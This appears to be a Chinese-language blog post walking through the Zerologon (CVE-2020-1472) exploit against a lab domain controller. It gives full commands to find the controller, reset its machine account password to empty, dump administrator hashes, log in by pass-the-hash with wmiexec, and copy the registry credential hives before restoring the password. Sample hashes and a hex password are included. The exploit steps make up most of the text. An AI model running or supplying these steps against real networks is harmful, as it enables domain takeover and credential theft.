close

GUID

{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}

and/or

{19195a5b-6da0-11d0-afd3-00c04fd930c9}

漏洞驗證工具:https://github.com/SecuraBV/CVE-2020-1472

利用+重置工具:https://github.com/risksense/zerologon

重置hexpass 工具:https://github.com/dirkjanm/CVE-2020-1472

工具運行環境:https://github.com/SecureAuthCorp/impacket

image

 

域控(Win2008):192.168.199.131

域用戶(Win7):192.168.199.128

域用戶(Win03):192.168.199.129

漏洞驗證工具:https://github.com/SecuraBV/CVE-2020-1472

利用+重置工具:https://github.com/risksense/zerologon

重置hexpass 工具:https://github.com/dirkjanm/CVE-2020-1472

工具運行環境:https://github.com/SecureAuthCorp/impacket

1、假設已經滲透到內網

2、常見查找域的方法

(1)可以通過掃描是否開放端口:53(dns)、389(ldap)、445(rdp)

(2)通過nbtstat 命令

Usage:nbtstat -A 當前IP

Usage:ping 域.com

(3)查看systeminfo

Usage:systeminfo

(4)查看主機dns

Usage:nslookup

(5)查看當前登錄域

Usage:net config workstation

3、用拉登的cs 插件掃描ldap

Usage:Ladon.exe 域地址LdapScan

Example:Ladon.exe 192.168.199.1/24 LdapScan

(圖中IS_LDAP 提示192.168.199.131 是域控)

3、確定域後確定域主機名

Usage:Ladon.exe 域地址OsScan

Example:Ladon.exe 192.168.199.131 OsScan

HKServer.com\YUKONG(HKServer 是,YUKONG 是域主機名)

4、用驗證腳本測試是否存在(測試存在)

Usage:python3 zerologon_tester.py 域主機名域地址

Example:python3 zerologon_tester.py YUKONG 192.168.199.131

5、再用set_empty_pw 腳本測試

Usage: set_empty_pw.py <dc-name> <dc-ip>

Example:python3 set_empty_pw.py YUKONG 192.168.199.131

大概利用方法就是把域用戶密碼清空,用空密碼連上去dump 管理員的hash

6、利用secretsdump 腳本dump 用戶hash

Usage:python3 secretsdump.py "域/主機名$"@域地址-just-dc -no-pass

Example:

python3 secretsdump.py "HKServer/YUKONG$"@192.168.199.131

-just-dc -no-pass

執行dump 可以看到YUKONG$用戶的密碼已經被重置成空密碼,31d6cfe......

因為把域密碼重置為空,所以-no-pass 就行了,在用戶過多的情況下可以單獨 dump administrator 的hash

命令改成:-just-dc-user "administrator" 就ok,見下圖

7、利用wmiexec 腳本橫向連接(連接後恢復原始hash)

Usage:

python3 wmiexec.py 域/administrator@ 域地址-hashes

aad3b435b51404eeaad3b435b51404ee:3766c17d09689c438a072a3327

0cb6f5

Example:

python3 wmiexec.py HKServer/administrator@192.168.199.131 -hashes

aad3b435b51404eeaad3b435b51404ee:3766c17d09689c438a072a3327

0cb6f5

已經連上來了,可以上cs,或者加管理員登錄上去看都行,主要是恢復密碼

先備份注冊表(依次命令一遍):

reg save HKLM\SYSTEM system.save

reg save HKLM\SAM sam.save

reg save HKLM\SECURITY security.save

get system.save

get sam.save

get security.save

del /f system.save

del /f sam.save

del /f security.save

(save 後綴的文件會下載到你wmiexec 腳本的同目錄)

8、再用secretsdump 腳本獲取原始hash

直接退出來命令:

python3 secretsdump.py -sam sam.save -system system.save -security

security.save LOCAL

9、最後用reinstall_original_pw 腳本恢復

Usage:python3 reinstall_original_pw.py 主機名域地址hash

Example:

python3 reinstall_original_pw.py YUKONG 192.168.199.131

30f90a3bfe2f085a880dcf954a8825f4

10、可能會出現沒有hash 的情況,可以用restorepassword 腳本恢復hexpass

取第8 步中plan_password_hex 字段

Usage:python3 restorepassword.py DC@DC -target-ip 域地址-hexpass

Example :python3 restorepassword.py YUKONG@YUKONG -target-ip

192.168.199.131 -hexpass

8dac4a096eec66839507b9018ace3e1ac2e27e4e81455eda7ee9e49d86a

2c57619740204e76571e512144a72c67d01e21a7d6b0c13ed4cebc97442

e1f9e75b6943c8fe4a67c0c8c6dfd0046624dd174b2dba468df3303a54a4

1be3f415f19f7cf25ae6f730cda6d125e5ebf480161b3bd9d4da2dca2f215f

01ba6b26603b8e36fd3bd86c3cb9ebba159da747df883125e6d00cbe105

c270c866d904b166bf6356f45572df5ed37976561da201e954074484b2d

b4462ae6c3d35fc0350feab07ea8868952fd8e84d9d5b66df6542e0f41a1e

283bb09c6cebfb2bb41fdc2b4d0a1ef8f5b2a94b2c3741c79f05c4edca170

假裝有圖

11、用第7 步看看是不是真的恢復了

恢復後連接3389即可

https://www.google.com/search?q=1131f6aa-9c07-11d1-f79f-00c04fc2dcd2+19195a5b-6da0-11d0-afd3-00c04fd930c9&ei=knelYaL2J5avoATOgbgI&ved=0ahUKEwiih6ae8b70AhWWF4gKHc4ADgEQ4dUDCA4&uact=5&oq=1131f6aa-9c07-11d1-f79f-00c04fc2dcd2+19195a5b-6da0-11d0-afd3-00c04fd930c9&gs_lcp=Cgdnd3Mtd2l6EAM6CwgAELADEAcQHhATOgcIABCwAxATSgUIPBIBMUoECEEYAVCCCliWDGCYD2gBcAB4AIABOogBcpIBATKYAQCgAQKgAQHIAQLAAQE&sclient=gws-wiz

 

 

全站熱搜
創作者介紹
創作者 好康搬運工 的頭像
好康搬運工

好康搬運工

好康搬運工 發表在 痞客邦 留言(0) 人氣()